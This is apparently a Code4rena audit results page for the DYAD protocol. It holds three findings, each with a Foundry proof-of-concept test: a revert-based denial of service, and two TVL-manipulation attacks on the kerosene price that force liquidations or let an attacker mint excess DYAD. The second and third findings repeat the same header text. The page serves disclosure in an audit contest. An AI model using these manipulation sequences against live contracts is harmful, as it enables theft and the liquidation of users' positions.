Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 103/183
Findings: 2
Award: $8.69
π Selected for report: 0
π Solo Findings: 0
π Selected for report: Circolors
Also found by: 0x175, 0x486776, 0xAlix2, 0xSecuri, 0xShitgem, 0xfox, 0xlemon, 0xnilay, 3th, 4rdiii, Aamir, Al-Qa-qa, AlexCzm, Egis_Security, Evo, Honour, Infect3d, Josh4324, Limbooo, Mahmud, SBSecurity, TheSchnilch, ahmedaghadi, alix40, amaron, bbl4de, bhilare_, btk, carrotsmuggler, cinderblock, d3e4, dimulski, dinkras, ducanh2706, iamandreiski, itsabinashb, ke1caM, ljj, sashik_eth, shaflow2, steadyman, web3km, y4y
3.8221 USDC - $3.82
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L269-L286 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L50-L68 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L88
VaultManagerV2::addKerosene
function are required to input a licensed kerosene vault as a parameter. This vault must be licensed within the kerosineManager
.if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed();
Vaults are licensed only if their owner added the vault using the KerosineManager::add
function. Thus, calling add
function with the kerosene vaults is necessary to enable the usage of kerosene vaults.
The VaultManagerV2::getKeroseneValue
function invokes KeroseneVault::getUsdValue
, which in turn calls UnboundedKerosineVault::assetPrice
. This function retrieves vaults from kerosineManager
and calculates the TVL (Total Value Locked) using the vaults' oracles.
function assetPrice() public view override returns (uint) { uint tvl; @> address[] memory vaults = kerosineManager.getVaults(); uint numberOfVaults = vaults.length; for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[i]); @> tvl += vault.asset().balanceOf(address(vault)) * vault.assetPrice() * 1e18 / (10**vault.asset().decimals()) / (10**vault.oracle().decimals()); } uint numerator = tvl - dyad.totalSupply(); uint denominator = kerosineDenominator.denominator(); return numerator * 1e8 / denominator; }
unboundedKerosineVault
in the kerosineManager
's vaults, attempts to call its oracle, which does not exist, result in the entire calculation being reverted, rendering the protocol unusable../test/fork/V2.t.sol
function testGetKeroseneValue() public { Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER); vm.prank(MAINNET_OWNER); licenser.add(address(contracts.vaultManager)); vm.prank(MAINNET_OWNER); contracts.vaultLicenser.add(address(contracts.ethVault)); vm.prank(MAINNET_OWNER); contracts.vaultLicenser.add(address(contracts.wstEth)); vm.prank(MAINNET_OWNER); contracts.vaultLicenser.add(address(contracts.unboundedKerosineVault)); vm.prank(MAINNET_OWNER); contracts.kerosineManager.add(address(contracts.unboundedKerosineVault)); vm.deal(user, 2e18); DNft dNft = contracts.vaultManager.dNft(); uint256 K_USER = contracts.kerosineDenominator.denominator() * 18 / 100000; // random amount of kerosene. WETH weth = WETH(payable(address(contracts.ethVault.asset()))); // get some KEROSENE to the user from uniswap. ERC20 k = contracts.kerosene; vm.prank(UNISWAP); k.transfer(user, K_USER); //setup user account vm.startPrank(user); uint256 id_user = dNft.mintNft{value: 1 ether}(user); contracts.vaultManager.add(id_user, address(contracts.ethVault)); weth.deposit{value: 1 ether}(); weth.approve(address(contracts.vaultManager), 1 ether); contracts.vaultManager.deposit(id_user, address(contracts.ethVault), 1 ether); uint256 USER_DYAD = contracts.vaultManager.getTotalUsdValue(id_user); contracts.vaultManager.addKerosene(id_user, address(contracts.unboundedKerosineVault)); k.approve(address(contracts.vaultManager), K_USER); contracts.vaultManager.deposit(id_user, address(contracts.unboundedKerosineVault), K_USER); // all these functions make a use of the getKeroseneValue so we expect them all to revert. vm.expectRevert(); contracts.vaultManager.getTotalUsdValue(id_user); vm.expectRevert(); contracts.vaultManager.getKeroseneValue(id_user); vm.expectRevert(); contracts.vaultManager.mintDyad(id_user, USER_DYAD * 33 / 100, user); vm.stopPrank(); }
when you remove the vm.expectRevert and run the test with -vvv you can see:
β β ββ [214] UnboundedKerosineVault::oracle() [staticcall] β β β ββ β [Revert] EvmError: Revert β β ββ β [Revert] EvmError: Revert β ββ β [Revert] EvmError: Revert ββ β [Revert] EvmError: Revert Suite result: FAILED. 0 passed; 1 failed;
KerosineManager::getVaults
that returns both Kerosene and non-Kerosene vaults, use VaultManagerV2::getVaults
that returns only the correct vaults.Error
#0 - c4-pre-sort
2024-04-27T18:30:04Z
JustDravee marked the issue as duplicate of #1048
#1 - c4-pre-sort
2024-04-28T18:39:23Z
JustDravee marked the issue as duplicate of #830
#2 - c4-pre-sort
2024-04-29T08:44:32Z
JustDravee marked the issue as sufficient quality report
#3 - c4-judge
2024-05-11T20:05:17Z
koolexcrypto marked the issue as satisfactory
π Selected for report: carrotsmuggler
Also found by: 0xAlix2, 0xSecuri, 0xblack_bird, 0xnev, AM, Al-Qa-qa, AlexCzm, Dudex_2004, Egis_Security, GalloDaSballo, Infect3d, Jorgect, KupiaSec, Ryonen, SpicyMeatball, T1MOH, VAD37, adam-idarrha, amaron, cu5t0mpeo, d3e4, darksnow, forgebyola, foxb868, itsabinashb, jesjupyter, nnez, peanuts, pontifex, wangxx2026, windhustler, zhuying
4.8719 USDC - $4.87
UnboundedKerosineVault::assetPrice
function, where the Kerosene value is derived from the Total Value Locked (TVL) minus the total supply of DYAD tokens.function assetPrice() public view override returns (uint) { uint tvl; address[] memory vaults = kerosineManager.getVaults(); uint numberOfVaults = vaults.length; for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[i]); tvl += vault.asset().balanceOf(address(vault)) * vault.assetPrice() * 1e18 / (10**vault.asset().decimals()) / (10**vault.oracle().decimals()); } @> uint numerator = tvl - dyad.totalSupply(); uint denominator = kerosineDenominator.denominator(); return numerator * 1e8 / denominator; }
./test/fork/V2.t.sol
function testLiquidationAttack() public { Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER); vm.prank(MAINNET_OWNER); licenser.add(address(contracts.vaultManager)); vm.prank(MAINNET_OWNER); contracts.vaultLicenser.add(address(contracts.ethVault)); vm.prank(MAINNET_OWNER); contracts.vaultLicenser.add(address(contracts.wstEth)); vm.prank(MAINNET_OWNER); contracts.vaultLicenser.add(address(contracts.unboundedKerosineVault)); // adding older vaults too: vm.prank(MAINNET_OWNER); contracts.vaultLicenser.add(MAINNET_WETH_VAULT); vm.prank(MAINNET_OWNER); contracts.vaultLicenser.add(MAINNET_WSTETH_VAULT); vm.prank(MAINNET_OWNER); contracts.kerosineManager.add(address(contracts.unboundedKerosineVault)); vm.deal(attacker, 5000e18); vm.deal(user, 2e18); DNft dNft = contracts.vaultManager.dNft(); uint256 AMOUNT_ATTACKER_MAIN = 3650e18; // a lot of WETH as a collateral related to current TVL uint256 K_USER = contracts.kerosineDenominator.denominator() * 18 / 100000; // enough kerosene to get cr > 1.5 WETH weth = WETH(payable(address(contracts.ethVault.asset()))); // get enough KEROSENE to the user; ERC20 k = contracts.kerosene; vm.startPrank(UNISWAP); k.transfer(user, K_USER); vm.stopPrank(); // Now we deposit a lot of WETH amount as collateral just to pump TVL => k = TVL - DYAD; vm.startPrank(attacker); uint256 id_mainAcc = dNft.mintNft{value: 1 ether}(attacker); contracts.vaultManager.add(id_mainAcc, address(contracts.ethVault)); weth.deposit{value: AMOUNT_ATTACKER_MAIN}(); weth.approve(address(contracts.vaultManager), AMOUNT_ATTACKER_MAIN); contracts.vaultManager.deposit(id_mainAcc, address(contracts.ethVault), AMOUNT_ATTACKER_MAIN); vm.stopPrank(); //setup innocent user account vm.startPrank(user); uint256 id_user = dNft.mintNft{value: 1 ether}(user); contracts.vaultManager.add(id_user, address(contracts.ethVault)); weth.deposit{value: 1 ether}(); weth.approve(address(contracts.vaultManager), 1 ether); contracts.vaultManager.deposit(id_user, address(contracts.ethVault), 1 ether); uint256 USER_DYAD = contracts.vaultManager.getTotalUsdValue(id_user); contracts.vaultManager.addKerosene(id_user, address(contracts.unboundedKerosineVault)); k.approve(address(contracts.vaultManager), K_USER); contracts.vaultManager.deposit(id_user, address(contracts.unboundedKerosineVault), K_USER); contracts.vaultManager.mintDyad(id_user, USER_DYAD, user); //mint about 100% of collateral because we have kerosene; 1:1 -> 1.5:1 with kerosene console.log("User Collateral ratio before manipulating is ", contracts.vaultManager.collatRatio(id_user)); vm.stopPrank(); assert(contracts.vaultManager.collatRatio(id_user) > MIN_COLLATERIZATION_RATIO); // let's assume that somewhere in the future the attacker want to liquidate other positions: vm.roll(block.number + 1); vm.prank(attacker); contracts.vaultManager.withdraw(id_mainAcc, address(contracts.ethVault), AMOUNT_ATTACKER_MAIN, attacker); console.log("User Collateral ratio after manipulating2 is ", contracts.vaultManager.collatRatio(id_user)); assert(contracts.vaultManager.collatRatio(id_user) < MIN_COLLATERIZATION_RATIO); vm.stopPrank(); }
Ran 1 test for test/fork/v2.t.sol:V2Test [PASS] testLiquidationAttack() (gas: 1548219) Logs: User Collateral ratio before manipulating is 1713909413124846406 User Collateral ratio after manipulating is 1056909413568717869
Relying solely on on-chain data for calculating value is not recommended due to its susceptibility to manipulation. Consider diversifying calculation methods and incorporating off-chain data sources for increased robustness and security.
Oracle
#0 - c4-pre-sort
2024-04-28T05:54:41Z
JustDravee marked the issue as duplicate of #67
#1 - c4-pre-sort
2024-04-29T09:18:28Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-08T11:50:01Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-08T12:09:19Z
koolexcrypto marked the issue as satisfactory
π Selected for report: carrotsmuggler
Also found by: 0xAlix2, 0xSecuri, 0xblack_bird, 0xnev, AM, Al-Qa-qa, AlexCzm, Dudex_2004, Egis_Security, GalloDaSballo, Infect3d, Jorgect, KupiaSec, Ryonen, SpicyMeatball, T1MOH, VAD37, adam-idarrha, amaron, cu5t0mpeo, d3e4, darksnow, forgebyola, foxb868, itsabinashb, jesjupyter, nnez, peanuts, pontifex, wangxx2026, windhustler, zhuying
4.8719 USDC - $4.87
UnboundedKerosineVault::assetPrice
function, where the Kerosene value is derived from the Total Value Locked (TVL) minus the total supply of DYAD tokens.function assetPrice() public view override returns (uint) { uint tvl; address[] memory vaults = kerosineManager.getVaults(); uint numberOfVaults = vaults.length; for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[i]); tvl += vault.asset().balanceOf(address(vault)) * vault.assetPrice() * 1e18 / (10**vault.asset().decimals()) / (10**vault.oracle().decimals()); } @> uint numerator = tvl - dyad.totalSupply(); uint denominator = kerosineDenominator.denominator(); return numerator * 1e8 / denominator; }
function testDepositAttack() public { Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER); vm.prank(MAINNET_OWNER); licenser.add(address(contracts.vaultManager)); vm.prank(MAINNET_OWNER); contracts.vaultLicenser.add(address(contracts.ethVault)); vm.prank(MAINNET_OWNER); contracts.vaultLicenser.add(address(contracts.wstEth)); vm.prank(MAINNET_OWNER); contracts.vaultLicenser.add(address(contracts.unboundedKerosineVault)); //adding older vaults too: vm.prank(MAINNET_OWNER); contracts.vaultLicenser.add(MAINNET_WETH_VAULT); vm.prank(MAINNET_OWNER); contracts.vaultLicenser.add(MAINNET_WSTETH_VAULT); vm.prank(MAINNET_OWNER); contracts.kerosineManager.add(address(contracts.unboundedKerosineVault)); vm.deal(attacker, 5000e18); vm.deal(attackerSecondAcc, 5000e18); DNft dNft = contracts.vaultManager.dNft(); uint256 AMOUNT_ATTACKER_SECOND_ACC = 810e18; // ~2x TVL as a collateral uint256 AMOUNT_ATTACKER_MAIN = 3650e18; // ~3x TVL after sec acc deposit of collateral uint256 K_AMOUNT = contracts.kerosineDenominator.denominator() * 12 / 100; // 12% supply -> small amount of KEROSENE mint A LOT OF DYAD after manipulation. WETH weth = WETH(payable(address(contracts.ethVault.asset()))); // get 12% of KEROSENE to the minter; ERC20 k = contracts.kerosene; vm.startPrank(UNISWAP); k.transfer(attackerSecondAcc, K_AMOUNT); vm.stopPrank(); // setup attacker second account vm.startPrank(attackerSecondAcc); uint256 id_secondAcc = dNft.mintNft{value: 1 ether}(attackerSecondAcc); contracts.vaultManager.add(id_secondAcc, address(contracts.ethVault)); contracts.vaultManager.addKerosene(id_secondAcc, address(contracts.unboundedKerosineVault)); weth.deposit{value: AMOUNT_ATTACKER_SECOND_ACC}(); weth.approve(address(contracts.vaultManager), AMOUNT_ATTACKER_SECOND_ACC); contracts.vaultManager.deposit(id_secondAcc, address(contracts.ethVault), AMOUNT_ATTACKER_SECOND_ACC); uint256 AMOUNT_DYAD_USD = contracts.vaultManager.getTotalUsdValue(id_secondAcc); contracts.vaultManager.mintDyad(id_secondAcc, (AMOUNT_DYAD_USD * 66 / 100), attackerSecondAcc); // adding k before manipulation, but minting the dyad should revert before manipulation k.approve(address(contracts.vaultManager), K_AMOUNT); contracts.vaultManager.deposit(id_secondAcc, address(contracts.unboundedKerosineVault), K_AMOUNT); console.log(contracts.vaultManager.collatRatio(id_secondAcc)); vm.expectRevert(IVaultManager.CrTooLow.selector); //Before maniupulation you can't mint 100% collateral dyad. contracts.vaultManager.mintDyad(id_secondAcc, (AMOUNT_DYAD_USD * 33 / 100), attackerSecondAcc); vm.stopPrank(); // Now we deposit to main account just to pump TVL => k = TVL - DYAD; vm.startPrank(attacker); uint256 id_mainAcc = dNft.mintNft{value: 1 ether}(attacker); contracts.vaultManager.add(id_mainAcc, address(contracts.ethVault)); weth.deposit{value: AMOUNT_ATTACKER_MAIN}(); weth.approve(address(contracts.vaultManager), AMOUNT_ATTACKER_MAIN); contracts.vaultManager.deposit(id_mainAcc, address(contracts.ethVault), AMOUNT_ATTACKER_MAIN); vm.stopPrank(); // Now we're going to mint dyad, since the Kerosene already pumped we only need very low amount, in order to mint 50%(!) more dyad; vm.startPrank(attackerSecondAcc); console.log(contracts.vaultManager.collatRatio(id_secondAcc)); contracts.vaultManager.mintDyad(id_secondAcc, (AMOUNT_DYAD_USD * 33 / 100), attackerSecondAcc); //up to 1:1 dyad:collateral vm.stopPrank(); console.log("User Collateral ratio after manipulating is ", contracts.vaultManager.collatRatio(id_secondAcc)); }
Oracle
#0 - c4-pre-sort
2024-04-28T05:54:49Z
JustDravee marked the issue as duplicate of #67
#1 - c4-pre-sort
2024-04-29T09:18:33Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-08T11:50:01Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-08T12:10:00Z
koolexcrypto marked the issue as satisfactory